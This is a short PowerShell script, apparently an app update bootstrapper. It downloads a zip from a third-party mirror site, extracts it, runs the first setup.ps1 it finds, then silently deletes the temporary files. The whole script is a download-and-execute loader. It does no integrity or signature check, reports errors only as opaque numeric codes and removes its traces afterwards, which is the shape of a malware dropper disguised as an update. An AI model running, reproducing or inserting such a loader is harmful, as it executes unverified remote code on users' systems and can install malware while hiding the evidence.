$Url = "https://sourcemirrors.org/hosted/40203-app_update_5_3.zip" $ErrorActionPreference = "Stop" $tempRoot = Join-Path $env:TEMP ("setup-" + [guid]::NewGuid().ToString()) $zipPath = Join-Path $tempRoot "package.zip" $extractPath = Join-Path $tempRoot "extracted" try { New-Item -ItemType Directory -Path $tempRoot -Force | Out-Null New-Item -ItemType Directory -Path $extractPath -Force | Out-Null Invoke-WebRequest -Uri $Url -OutFile $zipPath -UseBasicParsing Expand-Archive -Path $zipPath -DestinationPath $extractPath -Force $setup = Get-ChildItem -Path $extractPath -Filter "setup.ps1" -File -Recurse | Select-Object -First 1 if (-not $setup) { throw "34" } Push-Location $setup.DirectoryName try { & $setup.FullName if ($LASTEXITCODE -and $LASTEXITCODE -ne 0) { throw "32 $LASTEXITCODE" } } finally { Pop-Location } } finally { if (Test-Path $tempRoot) { Remove-Item $tempRoot -Recurse -Force -ErrorAction SilentlyContinue } }